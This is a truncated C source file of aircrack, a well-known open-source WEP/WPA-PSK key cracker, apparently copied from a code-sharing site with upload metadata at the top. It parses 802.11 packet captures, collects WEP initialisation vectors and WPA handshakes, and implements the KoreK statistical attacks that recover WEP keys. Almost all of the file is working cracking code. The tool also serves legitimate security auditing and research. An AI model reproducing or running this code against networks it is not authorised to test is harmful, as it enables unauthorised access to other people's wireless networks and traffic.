aircrack.c
上传用户:fubang
上传日期:2009-06-18
资源大小:2071k
文件大小:74k
- /*
- * 802.11 40/104 bit WEP / WPA-PSK Key Cracker
- *
- * Copyright (C) 2004,2005 Christophe Devine
- *
- * Advanced WEP attacks developed by KoreK
- * WPA-PSK attack code developed by Joshua Wright
- * SHA1 MMX assembly code written by Simon Marechal
- *
- * This program is free software; you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- * GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program; if not, write to the Free Software
- * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
- */
- #include <sys/types.h>
- #include <sys/termios.h>
- #include <sys/ioctl.h>
- #include <sys/wait.h>
- #include <sys/stat.h>
- #include <sys/time.h>
- #include <pthread.h>
- #include <unistd.h>
- #include <signal.h>
- #include <string.h>
- #include <stdlib.h>
- #include <stdio.h>
- #include <fcntl.h>
- #include <errno.h>
- #include <time.h>
- #include "crypto.h"
- #include "pcap.h"
- #include "uniqueiv.c"
- #define SUCCESS 0
- #define FAILURE 1
- #define RESTART 2
- #ifndef O_BINARY
- #define O_BINARY 0
- #endif
- #define SWAP(x,y) { uchar tmp = x; x = y; y = tmp; }
- #ifdef __i386__
- extern int shammx_init( uchar ctx[40] )
- __attribute__((regparm(1)));
- extern int shammx_ends( uchar ctx[40], uchar digests[40] )
- __attribute__((regparm(2)));
- extern int shammx_data( uchar ctx[40], uchar data[128], uchar buf[640] )
- __attribute__((regparm(3)));
- #endif
- #define BROADCAST "xFFxFFxFFxFFxFFxFF"
- static uchar ZERO[32] =
- "x00x00x00x00x00x00x00x00"
- "x00x00x00x00x00x00x00x00"
- "x00x00x00x00x00x00x00x00"
- "x00x00x00x00x00x00x00x00";
- struct options
- {
- int amode; /* attack mode */
- int essid_set; /* essid set flag */
- int bssid_set; /* bssid set flag */
- char essid[33]; /* target ESSID */
- uchar bssid[6]; /* target BSSID */
- int nbcpu; /* # of cracker threads */
- int is_quiet; /* quiet mode flag */
- uchar debug[64]; /* user-defined WEP key */
- uchar maddr[6]; /* MAC address filter */
- int keylen; /* WEP key length */
- int index; /* WEP key index */
- float ffact; /* bruteforce factor */
- int korek; /* attack strategy */
- int is_alnum; /* alphanum keyspace */
- int is_bcdonly; /* binary coded decimal */
- int do_brute; /* bruteforce last 2 */
- int do_testy; /* experimental attack */
- FILE *dict; /* dictionary file */
- int no_stdin; /* if dict == stdin */
- int l33t; /* no comment */
- }
- opt;
- typedef struct { int idx, val; } vote;
- struct WEP_data
- {
- uchar key[64]; /* the current chosen WEP key */
- uchar *ivbuf; /* buffer holding all the IVs */
- int nb_aps; /* number of targeted APs */
- long nb_ivs; /* # of unique IVs in buffer */
- long nb_ivs_now; /* # of unique IVs available */
- int fudge[64]; /* bruteforce level (1 to 256) */
- int depth[64]; /* how deep we are in the fudge */
- vote poll[64][256]; /* KoreK cryptanalysis results */
- }
- wep;
- struct WPA_hdsk
- {
- uchar stmac[6]; /* supplicant MAC */
- uchar snonce[32]; /* supplicant nonce */
- uchar anonce[32]; /* authenticator nonce */
- uchar keymic[16]; /* eapol frame MIC */
- uchar eapol[256]; /* eapol frame contents */
- int eapol_size; /* eapol frame size */
- int keyver; /* key version (TKIP / AES) */
- int state; /* handshake completion */
- };
- struct AP_info
- {
- struct AP_info *next; /* next AP in linked list */
- uchar bssid[6]; /* access point MAC address */
- char essid[33]; /* access point identifier */
- uchar lanip[4]; /* IP address if unencrypted */
- uchar *ivbuf; /* table holding WEP IV data */
- uchar **uiv_root; /* IV uniqueness root struct */
- long ivbuf_size; /* IV buffer allocated size */
- long nb_ivs; /* total number of unique IVs */
- int crypt; /* encryption algorithm */
- int eapol; /* set if EAPOL is present */
- int target; /* flag set if AP is a target */
- struct ST_info *st_1st; /* linked list of stations */
- struct WPA_hdsk wpa; /* valid WPA handshake data */
- };
- struct ST_info
- {
- struct AP_info *ap; /* parent AP */
- struct ST_info *next; /* next supplicant */
- struct WPA_hdsk wpa; /* WPA handshake data */
- unsigned char stmac[6]; /* client MAC address */
- };
- /* stats global data */
- struct timeval t_begin; /* time at start of attack */
- struct timeval t_stats; /* time since last update */
- struct timeval t_kprev; /* time at start of window */
- long long int nb_kprev; /* last # of keys tried */
- long long int nb_tried; /* total # of keys tried */
- /* IPC global data */
- struct AP_info *ap_1st; /* first item in linked list */
- pthread_mutex_t mx_apl; /* lock write access to ap LL */
- pthread_mutex_t mx_eof; /* lock write access to nb_eof */
- pthread_cond_t cv_eof; /* read EOF condition variable */
- int nb_eof = 0; /* # of threads who reached eof */
- long nb_pkt = 0; /* # of packets read so far */
- int mc_pipe[256][2]; /* master->child control pipe */
- int cm_pipe[256][2]; /* child->master results pipe */
- #define N_ATTACKS 17
- enum KoreK_attacks
- {
- A_u15, /* semi-stable 15% */
- A_s13, /* stable 13% */
- A_u13_1, /* unstable 13% */
- A_u13_2, /* unstable ? 13% */
- A_u13_3, /* unstable ? 13% */
- A_s5_1, /* standard 5% (~FMS) */
- A_s5_2, /* other stable 5% */
- A_s5_3, /* other stable 5% */
- A_u5_1, /* unstable 5% no good ? */
- A_u5_2, /* unstable 5% */
- A_u5_3, /* unstable 5% no good */
- A_u5_4, /* unstable 5% */
- A_s3, /* stable 3% */
- A_4_s13, /* stable 13% on q = 4 */
- A_4_u5_1, /* unstable 5% on q = 4 */
- A_4_u5_2, /* unstable 5% on q = 4 */
- A_neg /* helps reject false positives */
- };
- int K_COEFF[N_ATTACKS] =
- {
- 15, 13, 12, 12, 12, 5, 5, 5, 3, 4, 3, 4, 3, 13, 4, 4, -20
- };
- void eof_wait( int *eof_notified )
- {
- if( *eof_notified == 0 )
- {
- *eof_notified = 1;
- /* tell the master thread we reached EOF */
- pthread_mutex_lock( &mx_eof );
- nb_eof++;
- pthread_cond_broadcast( &cv_eof );
- pthread_mutex_unlock( &mx_eof );
- }
- usleep( 100000 );
- }
- /* fread isn't atomic, sadly */
- typedef struct
- {
- int off1;
- int off2;
- void *buf1;
- void *buf2;
- }
- read_buf;
- int atomic_read( read_buf *rb, int fd, int len, void *buf )
- {
- int n;
-
- if( rb->buf1 == NULL )
- {
- rb->buf1 = malloc( 65536 );
- rb->buf2 = malloc( 65536 );
-
- if( rb->buf1 == NULL || rb->buf2 == NULL )
- return( 0 );
-
- rb->off1 = 0;
- rb->off2 = 0;
- }
- if( len > 65536 - rb->off1 )
- {
- rb->off2 -= rb->off1;
- memcpy( rb->buf2, rb->buf1 + rb->off1, rb->off2 );
- memcpy( rb->buf1, rb->buf2, rb->off2 );
- rb->off1 = 0;
- }
-
- if( rb->off2 - rb->off1 >= len )
- {
- memcpy( buf, rb->buf1 + rb->off1, len );
- rb->off1 += len;
- return( 1 );
- }
- else
- {
- n = read( fd, rb->buf1 + rb->off2, 65536 - rb->off2 );
- if( n <= 0 )
- return( 0 );
- rb->off2 += n;
- if( rb->off2 - rb->off1 >= len )
- {
- memcpy( buf, rb->buf1 + rb->off1, len );
- rb->off1 += len;
- return( 1 );
- }
- }
- return( 0 );
- }
- void read_thread( void *arg )
- {
- int fd, n, z, fmt;
- int eof_notified = 0;
- read_buf rb;
- uchar bssid[6];
- uchar stmac[6];
- uchar *buffer;
- uchar *h80211;
- uchar *p;
- struct pcap_pkthdr pkh;
- struct pcap_file_header pfh;
- struct AP_info *ap_prv, *ap_cur;
- struct ST_info *st_prv, *st_cur;
- memset( &rb, 0, sizeof( rb ) );
- if( ( buffer = (uchar *) malloc( 65536 ) ) == NULL )
- {
- /* there is no buffer */
- perror( "malloc failed" );
- goto read_fail;
- }
- h80211 = buffer;
- if( ! opt.is_quiet )
- printf( "Opening %sn", (char *) arg );
- if( strcmp( arg, "-" ) == 0 )
- fd = 0;
- else
- {
- if( ( fd = open( (char *) arg, O_RDONLY | O_BINARY ) ) < 0 )
- {
- perror( "open failed" );
- goto read_fail;
- }
- }
- if( ! atomic_read( &rb, fd, 4, &pfh ) )
- {
- perror( "read(file header) failed" );
- goto read_fail;
- }
- fmt = FORMAT_IVS;
- if( memcmp( &pfh, IVSONLY_MAGIC, 4 ) != 0 )
- {
- fmt = FORMAT_CAP;
- if( pfh.magic != TCPDUMP_MAGIC &&
- pfh.magic != TCPDUMP_CIGAM )
- {
- fprintf( stderr, "Unsupported file format "
- "(not a pcap or IVs file).n" );
- goto read_fail;
- }
- /* read the rest of the pcap file header */
- if( ! atomic_read( &rb, fd, 20, (uchar *) &pfh + 4 ) )
- {
- perror( "read(file header) failed" );
- goto read_fail;
- }
- /* take care of endian issues and check the link type */
- if( pfh.magic == TCPDUMP_CIGAM )
- SWAP32( pfh.linktype );
- if( pfh.linktype != LINKTYPE_IEEE802_11 &&
- pfh.linktype != LINKTYPE_PRISM_HEADER &&
- pfh.linktype != LINKTYPE_RADIOTAP_HDR )
- {
- fprintf( stderr, "This file is not a regular "
- "802.11 (wireless) capture.n" );
- goto read_fail;
- }
- }
- /* avoid blocking on reading the file */
- if( fcntl( fd, F_SETFL, O_NONBLOCK ) < 0 )
- {
- perror( "fcntl(O_NONBLOCK) failed" );
- goto read_fail;
- }
- while( 1 )
- {
- if( fmt == FORMAT_IVS )
- {
- /* read one IV */
- while( ! atomic_read( &rb, fd, 1, buffer ) )
- eof_wait( &eof_notified );
- if( buffer[0] != 0xFF )
- {
- /* new access point MAC */
- bssid[0] = buffer[0];
- while( ! atomic_read( &rb, fd, 5, bssid + 1 ) )
- eof_wait( &eof_notified );
- }
- while( ! atomic_read( &rb, fd, 5, buffer ) )
- eof_wait( &eof_notified );
- }
- else
- {
- while( ! atomic_read( &rb, fd, sizeof( pkh ), &pkh ) )
- eof_wait( &eof_notified );
- if( pfh.magic == TCPDUMP_CIGAM )
- SWAP32( pkh.caplen );
-
- if( pkh.caplen <= 0 || pkh.caplen > 65535 )
- {
- fprintf( stderr, "nInvalid packet capture length %d - "
- "corrupted file?n", pkh.caplen );
- eof_wait( &eof_notified );
- _exit( FAILURE );
- }
- while( ! atomic_read( &rb, fd, pkh.caplen, buffer ) )
- eof_wait( &eof_notified );
- h80211 = buffer;
- if( pfh.linktype == LINKTYPE_PRISM_HEADER )
- {
- /* remove the prism header */
- if( h80211[7] == 0x40 )
- n = 64;
- else
- {
- n = *(int *)( h80211 + 4 );
- if( pfh.magic == TCPDUMP_CIGAM )
- SWAP32( n );
- }
- if( n < 8 || n >= (int) pkh.caplen )
- continue;
- h80211 += n; pkh.caplen -= n;
- }
- if( pfh.linktype == LINKTYPE_RADIOTAP_HDR )
- {
- /* remove the radiotap header */
- n = *(unsigned short *)( h80211 + 2 );
- if( n <= 0 || n >= (int) pkh.caplen )
- continue;
- h80211 += n; pkh.caplen -= n;
- }
- }
- /* prevent concurrent access on the linked list */
- pthread_mutex_lock( &mx_apl );
- nb_pkt++;
- if( fmt == FORMAT_CAP )
- {
- /* skip packets smaller than a 802.11 header */
- if( pkh.caplen < 24 )
- goto unlock_mx_apl;
- /* skip (uninteresting) control frames */
- if( ( h80211[0] & 0x0C ) == 0x04 )
- goto unlock_mx_apl;
- /* locate the access point's MAC address */
- switch( h80211[1] & 3 )
- {
- case 0: memcpy( bssid, h80211 + 16, 6 ); break;
- case 1: memcpy( bssid, h80211 + 4, 6 ); break;
- case 2: memcpy( bssid, h80211 + 10, 6 ); break;
- default: memcpy( bssid, h80211 + 4, 6 ); break;
- }
- }
- if( memcmp( bssid, BROADCAST, 6 ) == 0 )
- /* probe request or such - skip the packet */
- goto unlock_mx_apl;
- if( memcmp( opt.maddr, ZERO, 6 ) != 0 &&
- memcmp( opt.maddr, BROADCAST, 6 ) != 0 )
- {
- /* apply the MAC filter */
- if( memcmp( opt.maddr, h80211 + 4, 6 ) != 0 &&
- memcmp( opt.maddr, h80211 + 10, 6 ) != 0 &&
- memcmp( opt.maddr, h80211 + 16, 6 ) != 0 )
- goto unlock_mx_apl;
- }
- /* search the linked list */
- ap_prv = NULL;
- ap_cur = ap_1st;
- while( ap_cur != NULL )
- {
- if( ! memcmp( ap_cur->bssid, bssid, 6 ) )
- break;
- ap_prv = ap_cur;
- ap_cur = ap_cur->next;
- }
- /* if it's a new access point, add it */
- if( ap_cur == NULL )
- {
- if( ! ( ap_cur = (struct AP_info *) malloc(
- sizeof( struct AP_info ) ) ) )
- {
- perror( "malloc failed" );
- break;
- }
- memset( ap_cur, 0, sizeof( struct AP_info ) );
- if( ap_1st == NULL )
- ap_1st = ap_cur;
- else
- ap_prv->next = ap_cur;
- memcpy( ap_cur->bssid, bssid, 6 );
- ap_cur->crypt = -1;
- }
- if( fmt == FORMAT_IVS )
- {
- ap_cur->crypt = 2;
- add_wep_iv:
- /* check for uniqueness first */
- if( ap_cur->nb_ivs == 0 )
- ap_cur->uiv_root = uniqueiv_init();
- if( uniqueiv_check( ap_cur->uiv_root, buffer ) == 0 )
- {
- /* add the IV & first two encrypted bytes */
- n = ap_cur->nb_ivs * 5;
- if( n + 5 > ap_cur->ivbuf_size )
- {
- /* enlarge the IVs buffer */
- ap_cur->ivbuf_size += 131072;
- ap_cur->ivbuf = (uchar *) realloc(
- ap_cur->ivbuf, ap_cur->ivbuf_size );
- if( ap_cur->ivbuf == NULL )
- {
- perror( "remalloc failed" );
- break;
- }
- }
- memcpy( ap_cur->ivbuf + n, buffer, 5 );
- uniqueiv_mark( ap_cur->uiv_root, buffer );
- ap_cur->nb_ivs++;
- }
- goto unlock_mx_apl;
- }
- /* locate the station MAC in the 802.11 header */
- st_cur = NULL;
- switch( h80211[1] & 3 )
- {
- case 0: memcpy( stmac, h80211 + 10, 6 ); break;
- case 1: memcpy( stmac, h80211 + 10, 6 ); break;
- case 2:
- /* reject broadcast MACs */
- if( h80211[4] != 0 ) goto skip_station;
- memcpy( stmac, h80211 + 4, 6 ); break;
- default: goto skip_station; break;
- }
- st_prv = NULL;
- st_cur = ap_cur->st_1st;
- while( st_cur != NULL )
- {
- if( ! memcmp( st_cur->stmac, stmac, 6 ) )
- break;
- st_prv = st_cur;
- st_cur = st_cur->next;
- }
- /* if it's a new supplicant, add it */
- if( st_cur == NULL )
- {
- if( ! ( st_cur = (struct ST_info *) malloc(
- sizeof( struct ST_info ) ) ) )
- {
- perror( "malloc failed" );
- break;
- }
- memset( st_cur, 0, sizeof( struct ST_info ) );
- if( ap_cur->st_1st == NULL )
- ap_cur->st_1st = st_cur;
- else
- st_prv->next = st_cur;
- memcpy( st_cur->stmac, stmac, 6 );
- }
- skip_station:
- /* packet parsing: Beacon or Probe Response */
- if( h80211[0] == 0x80 ||
- h80211[0] == 0x50 )
- {
- if( ap_cur->crypt < 0 )
- ap_cur->crypt = ( h80211[34] & 0x10 ) >> 4;
- p = h80211 + 36;
- while( p < h80211 + pkh.caplen )
- {
- if( p + 2 + p[1] > h80211 + pkh.caplen )
- break;
- if( p[0] == 0x00 && p[1] > 0 && p[2] != ' ' )
- {
- /* found a non-cloaked ESSID */
- n = ( p[1] > 32 ) ? 32 : p[1];
- memset( ap_cur->essid, 0, 33 );
- memcpy( ap_cur->essid, p + 2, n );
- }
- p += 2 + p[1];
- }
- }
- /* packet parsing: Association Request */
- if( h80211[0] == 0x00 )
- {
- p = h80211 + 28;
- while( p < h80211 + pkh.caplen )
- {
- if( p + 2 + p[1] > h80211 + pkh.caplen )
- break;
- if( p[0] == 0x00 && p[1] > 0 && p[2] != ' ' )
- {
- n = ( p[1] > 32 ) ? 32 : p[1];
- memset( ap_cur->essid, 0, 33 );
- memcpy( ap_cur->essid, p + 2, n );
- }
- p += 2 + p[1];
- }
- }
- /* packet parsing: Association Response */
- if( h80211[0] == 0x10 )
- {
- /* reset the WPA handshake state */
- if( st_cur != NULL )
- st_cur->wpa.state = 0;
- }
- /* check if data */
- if( ( h80211[0] & 0x0C ) != 0x08 )
- goto unlock_mx_apl;
- /* check minimum size */
- z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30;
- if( z + 16 > (int) pkh.caplen )
- goto unlock_mx_apl;
- /* check the SNAP header to see if data is encrypted */
- if( h80211[z] != h80211[z + 1] || h80211[z + 2] != 0x03 )
- {
- ap_cur->crypt = 2; /* encryption = WEP */
- /* check the extended IV flag */
- if( ( h80211[z + 3] & 0x20 ) != 0 )
- ap_cur->crypt = 3; /* encryption = WPA */
- /* check the WEP key index */
- if( opt.index != 0 &&
- ( h80211[z + 3] >> 6 ) != opt.index - 1 )
- goto unlock_mx_apl;
- /* save the IV & first two output bytes */
- memcpy( buffer , h80211 + z , 3 );
- memcpy( buffer + 3, h80211 + z + 4, 2 );
- goto add_wep_iv;
- }
- if( ap_cur->crypt < 0 )
- ap_cur->crypt = 0; /* no encryption */
- /* if ethertype == IPv4, find the LAN address */
- z += 6;
- if( z + 20 < (int) pkh.caplen )
- {
- if( h80211[z] == 0x08 && h80211[z + 1] == 0x00 &&
- ( h80211[1] & 3 ) == 0x01 )
- memcpy( ap_cur->lanip, &h80211[z + 14], 4 );
- if( h80211[z] == 0x08 && h80211[z + 1] == 0x06 )
- memcpy( ap_cur->lanip, &h80211[z + 16], 4 );
- }
- /* check ethertype == EAPOL */
- if( h80211[z] != 0x88 || h80211[z + 1] != 0x8E )
- goto unlock_mx_apl;
- z += 2;
- ap_cur->eapol = 1;
- /* type == 3 (key), desc. == 254 (WPA) or 2 (RSN) */
- if( h80211[z + 1] != 0x03 ||
- ( h80211[z + 4] != 0xFE && h80211[z + 4] != 0x02 ) )
- goto unlock_mx_apl;
- ap_cur->eapol = 0;
- ap_cur->crypt = 3; /* set WPA */
- if( st_cur == NULL )
- continue;
- /* frame 1: Pairwise == 1, Install == 0, Ack == 1, MIC == 0 */
- if( ( h80211[z + 6] & 0x08 ) != 0 &&
- ( h80211[z + 6] & 0x40 ) == 0 &&
- ( h80211[z + 6] & 0x80 ) != 0 &&
- ( h80211[z + 5] & 0x01 ) == 0 )
- {
- memcpy( st_cur->wpa.anonce, &h80211[z + 17], 32 );
- st_cur->wpa.state = 1; /* authenticator nonce set */
- }
- /* frame 2 or 4: Pairwise == 1, Install == 0, Ack == 0, MIC == 1 */
- if( ( h80211[z + 6] & 0x08 ) != 0 &&
- ( h80211[z + 6] & 0x40 ) == 0 &&
- ( h80211[z + 6] & 0x80 ) == 0 &&
- ( h80211[z + 5] & 0x01 ) != 0 )
- {
- if( memcmp( &h80211[z + 17], ZERO, 32 ) != 0 )
- {
- memcpy( st_cur->wpa.snonce, &h80211[z + 17], 32 );
- st_cur->wpa.state |= 2; /* supplicant nonce set */
- }
- }
- /* frame 3: Pairwise == 1, Install == 1, Ack == 1, MIC == 1 */
- if( ( h80211[z + 6] & 0x08 ) != 0 &&
- ( h80211[z + 6] & 0x40 ) != 0 &&
- ( h80211[z + 6] & 0x80 ) != 0 &&
- ( h80211[z + 5] & 0x01 ) != 0 )
- {
- if( memcmp( &h80211[z + 17], ZERO, 32 ) != 0 )
- {
- memcpy( st_cur->wpa.anonce, &h80211[z + 17], 32 );
- st_cur->wpa.state |= 4; /* authenticator nonce set */
- }
- /* copy the MIC & eapol frame */
- st_cur->wpa.eapol_size = ( h80211[z + 2] << 8 )
- + h80211[z + 3] + 4;
- memcpy( st_cur->wpa.keymic, &h80211[z + 81], 16 );
- memcpy( st_cur->wpa.eapol, &h80211[z], st_cur->wpa.eapol_size );
- memset( st_cur->wpa.eapol + 81, 0, 16 );
- st_cur->wpa.state |= 8; /* eapol frame & keymic set */
- /* copy the key descriptor version */
- st_cur->wpa.keyver = h80211[z + 6] & 7;
- }
- if( st_cur->wpa.state == 15 )
- {
- /* got one valid handshake */
- memcpy( st_cur->wpa.stmac, stmac, 6 );
- memcpy( &ap_cur->wpa, &st_cur->wpa,
- sizeof( struct WPA_hdsk ) );
- }
- unlock_mx_apl:
- pthread_mutex_unlock( &mx_apl );
- }
- read_fail:
- kill( 0, SIGTERM );
- _exit( FAILURE );
- }
- /* timing routine */
- float chrono( struct timeval *start, int reset )
- {
- float delta;
- struct timeval current;
- gettimeofday( ¤t, NULL );
- delta = ( current.tv_sec - start->tv_sec ) + (float)
- ( current.tv_usec - start->tv_usec ) / 1000000;
- if( reset )
- gettimeofday( start, NULL );
- return( delta );
- }
- /* signal-safe I/O routines */
- int safe_read( int fd, void *buf, size_t len )
- {
- int n;
- size_t sum = 0;
- char *off = (char *) buf;
- while( sum < len )
- {
- if( ! ( n = read( fd, (void *) off, len - sum ) ) )
- return( 0 );
- if( n < 0 && errno == EINTR ) continue;
- if( n < 0 ) return( n );
- sum += n;
- off += n;
- }
- return( sum );
- }
- int safe_write( int fd, void *buf, size_t len )
- {
- int n;
- size_t sum = 0;
- char *off = (char *) buf;
- while( sum < len )
- {
- if( ( n = write( fd, (void *) off, len - sum ) ) < 0 )
- {
- if( errno == EINTR ) continue;
- return( n );
- }
- sum += n;
- off += n;
- }
- return( sum );
- }
- /* each thread computes the votes over a subset of the IVs */
- int crack_wep_thread( void *arg )
- {
- long xv, min, max;
- uchar R[256], jj[256];
- uchar S[256], Si[256];
- uchar K[64];
- uchar io1, o1, io2, o2;
- uchar Sq, dq, Kq, jq, q;
- uchar S1, S2, J2, t2;
- int i, j, B, cid = (long) arg;
- int votes[N_ATTACKS][256];
- for( i = 0; i < 256; i++ )
- R[i] = i;
- while( 1 )
- {
- if( safe_read( mc_pipe[cid][0], (void *) &B,
- sizeof( int ) ) != sizeof( int ) )
- {
- perror( "read failed" );
- kill( 0, SIGTERM );
- _exit( FAILURE );
- }
- min = 5 * ( ( ( cid ) * wep.nb_ivs ) / opt.nbcpu );
- max = 5 * ( ( ( 1 + cid ) * wep.nb_ivs ) / opt.nbcpu );
- q = 3 + B;
- memcpy( K + 3, wep.key, B );
- memset( votes, 0, sizeof( votes ) );
- /* START: KoreK attacks */
- for( xv = min; xv < max; xv += 5 )
- {
- memcpy( K, &wep.ivbuf[xv], 3 );
- memcpy( S, R, 256 );
- memcpy( Si, R, 256 );
- for( i = j = 0; i < q; i++ )
- {
- jj[i] = j = ( j + S[i] + K[i % (3 + opt.keylen)] ) & 0xFF;
- SWAP( S[i], S[j] );
- }
- i = q; do { i--; SWAP(Si[i],Si[jj[i]]); } while( i != 0 );
- o1 = wep.ivbuf[xv + 3] ^ 0xAA; io1 = Si[o1]; S1 = S[1];
- o2 = wep.ivbuf[xv + 4] ^ 0xAA; io2 = Si[o2]; S2 = S[2];
- Sq = S[q]; dq = Sq + jj[q - 1];
- if( S2 == 0 )
- {
- if( ( S1 == 2 ) && ( o1 == 2 ) )
- {
- Kq = 1 - dq; votes[A_neg][Kq]++;
- Kq = 2 - dq; votes[A_neg][Kq]++;
- }
- else if( o2 == 0 )
- {
- Kq = 2 - dq; votes[A_neg][Kq]++;
- }
- }
- else
- {
- if( ( o2 == 0 ) && ( Sq == 0 ) )
- {
- Kq = 2 - dq; votes[A_u15][Kq]++;
- }
- }
- if( ( S1 == 1 ) && ( o1 == S2 ) )
- {
- Kq = 1 - dq; votes[A_neg][Kq]++;
- Kq = 2 - dq; votes[A_neg][Kq]++;
- }
- if( ( S1 == 0 ) && ( S[0] == 1 ) && ( o1 == 1 ) )
- {
- Kq = 0 - dq; votes[A_neg][Kq]++;
- Kq = 1 - dq; votes[A_neg][Kq]++;
- }
- if( S1 == q )
- {
- if( o1 == q )
- {
- Kq = Si[0] - dq; votes[A_s13][Kq]++;
- }
- else if( ( ( 1 - q - o1 ) & 0xFF ) == 0 )
- {
- Kq = io1 - dq; votes[A_u13_1][Kq]++;
- }
- else if( io1 < q )
- {
- jq = Si[( io1 - q ) & 0xFF];
- if( jq != 1 )
- {
- Kq = jq - dq; votes[A_u5_1][Kq]++;
- }
- }
- }
- if( ( io1 == 2 ) && ( S[q] == 1 ) )
- {
- Kq = 1 - dq; votes[A_u5_2][Kq]++;
- }
- if( S[q] == q )
- {
- if( ( S1 == 0 ) && ( o1 == q ) )
- {
- Kq = 1 - dq; votes[A_u13_2][Kq]++;
- }
- else if( ( ( ( 1 - q - S1 ) & 0xFF ) == 0 ) && ( o1 == S1 ) )
- {
- Kq = 1 - dq; votes[A_u13_3][Kq]++;
- }
- else if( ( S1 >= ( ( -q ) & 0xFF ) )
- && ( ( ( q + S1 - io1 ) & 0xFF ) == 0 ) )
- {
- Kq = 1 - dq; votes[A_u5_3][Kq]++;
- }
- }
- if( ( S1 < q ) && ( ( ( S1 + S[S1] - q ) & 0xFF ) == 0 ) &&
- ( io1 != 1 ) && ( io1 != S[S1] ) )
- {
- Kq = io1 - dq; votes[A_s5_1][Kq]++;
- }
- if( ( S1 > q ) && ( ( ( S2 + S1 - q ) & 0xFF ) == 0 ) )
- {
- if( o2 == S1 )
- {
- jq = Si[(S1 - S2) & 0xFF];
- if( ( jq != 1 ) && ( jq != 2 ) )
- {
- Kq = jq - dq; votes[A_s5_2][Kq]++;
- }
- }
- else if( o2 == ( ( 2 - S2 ) & 0xFF ) )
- {
- jq = io2;
- if( ( jq != 1 ) && ( jq != 2 ) )
- {
- Kq = jq - dq; votes[A_s5_3][Kq]++;
- }
- }
- }
- if( ( S[1] != 2 ) && ( S[2] != 0 ) )
- {
- J2 = S[1] + S[2];
- if( J2 < q )
- {
- t2 = S[J2] + S[2];
- if( ( t2 == q ) && ( io2 != 1 ) && ( io2 != 2 )
- && ( io2 != J2 ) )
- {
- Kq = io2 - dq; votes[A_s3][Kq]++;
- }
- }
- }
- if( S1 == 2 )
- {
- if( q == 4 )
- {
- if( o2 == 0 )
- {
- Kq = Si[0] - dq; votes[A_4_s13][Kq]++;
- }
- else
- {
- if( ( jj[1] == 2 ) && ( io2 == 0 ) )
- {
- Kq = Si[254] - dq; votes[A_4_u5_1][Kq]++;
- }
- if( ( jj[1] == 2 ) && ( io2 == 2 ) )
- {
- Kq = Si[255] - dq; votes[A_4_u5_2][Kq]++;
- }
- }
- }
- else if( ( q > 4 ) && ( ( S[4] + 2 ) == q ) &&
- ( io2 != 1 ) && ( io2 != 4 ) )
- {
- Kq = io2 - dq; votes[A_u5_4][Kq]++;
- }
- }
- }
- /* END: KoreK attacks */
- if( safe_write( cm_pipe[cid][1], votes,
- sizeof( votes ) ) != sizeof( votes ) )
- {
- perror( "write failed" );
- kill( 0, SIGTERM );
- _exit( FAILURE );
- }
- }
- return( 0 );
- }
- /* display the current votes */
- void show_wep_stats( int B, int force )
- {
- float delta;
- struct winsize ws;
- int i, et_h, et_m, et_s;
- static int is_cleared = 0;
- if( ioctl( 0, TIOCGWINSZ, &ws ) < 0 )
- {
- ws.ws_row = 25;
- ws.ws_col = 80;
- }
- if( chrono( &t_stats, 0 ) < 0.1 && force == 0 )
- return;
- chrono( &t_stats, 1 );
- delta = chrono( &t_begin, 0 );
- et_h = delta / 3600;
- et_m = ( delta - et_h * 3600 ) / 60;
- et_s = delta - et_h * 3600 - et_m * 60;
- if( is_cleared == 0 )
- {
- is_cleared++;
- if( opt.l33t )
- printf( "33[40m" );
- printf( "33[2J" );
- }
- if( opt.l33t )
- printf( "33[34;1m" );
- printf( "33[2;%dHaircrack %d.%dnn", (ws.ws_col - 12) / 2,
- _MAJ, _MIN );
- if( opt.l33t )
- printf( "33[33;1m" );
- printf( "33[5;%dH[%02d:%02d:%02d] Tested %lld keys (got %ld IVs)33[K",
- (ws.ws_col - 44) / 2, et_h, et_m, et_s, nb_tried, wep.nb_ivs_now );
- if( opt.l33t )
- printf( "33[32;22m" );
- printf( "33[7;4HKB depth byte(vote)n" );
- for( i = 0; i <= B; i++ )
- {
- int j, k = ( ws.ws_col - 20 ) / 9;
- if( opt.l33t )
- printf( " %2d 33[1m%3d33[22m/%3d ",
- i, wep.depth[i], wep.fudge[i] );
- else
- printf( " %2d %3d/%3d ",
- i, wep.depth[i], wep.fudge[i] );
- for( j = wep.depth[i]; j < k + wep.depth[i]; j++ )
- {
- if( j >= 256 ) break;
- if( wep.poll[i][j].val == 32767 )
- {
- if( opt.l33t )
- printf( "33[1m%02X33[22m(+inf) ",
- wep.poll[i][j].idx );
- else
- printf( "%02X(+inf) ", wep.poll[i][j].idx );
- }
- else
- {
- if( opt.l33t )
- printf( "33[1m%02X33[22m(%4d) ",
- wep.poll[i][j].idx,
- wep.poll[i][j].val );
- else
- printf( "%02X(%4d) ", wep.poll[i][j].idx,
- wep.poll[i][j].val );
- }
- }
- printf( "n" );
- }
- if( B < opt.keylen - 1 )
- printf( "33[J" );
- printf( "n" );
- }
- /* test if the current WEP key is valid */
- int check_wep_key( int B )
- {
- uchar K[64];
- uchar S[256];
- uchar R[256];
- uchar x1, x2;
- unsigned long xv;
- int i, j, n, bad;
- int nb_ascii;
- nb_tried++;
- bad = 0;
- memcpy( K + 3, wep.key, opt.keylen );
- for( i = 0; i < 256; i++ )
- R[i] = i;
- for( n = 0; n < 32; n++ )
- {
- xv = 5 * ( rand() % wep.nb_ivs );
- memcpy( K, &wep.ivbuf[xv], 3 );
- memcpy( S, R, 256 );
- for( i = j = 0; i < 256; i++ )
- {
- j = ( j + S[i] + K[i % (3 + opt.keylen)]) & 0xFF;
- SWAP( S[i], S[j] );
- }
- i = 1; j = ( 0 + S[i] ) & 0xFF; SWAP(S[i], S[j]);
- x1 = wep.ivbuf[xv + 3] ^ S[(S[i] + S[j]) & 0xFF];
- i = 2; j = ( j + S[i] ) & 0xFF; SWAP(S[i], S[j]);
- x2 = wep.ivbuf[xv + 4] ^ S[(S[i] + S[j]) & 0xFF];
- if( ( x1 != 0xAA || x2 != 0xAA ) &&
- ( x1 != 0xE0 || x2 != 0xE0 ) &&
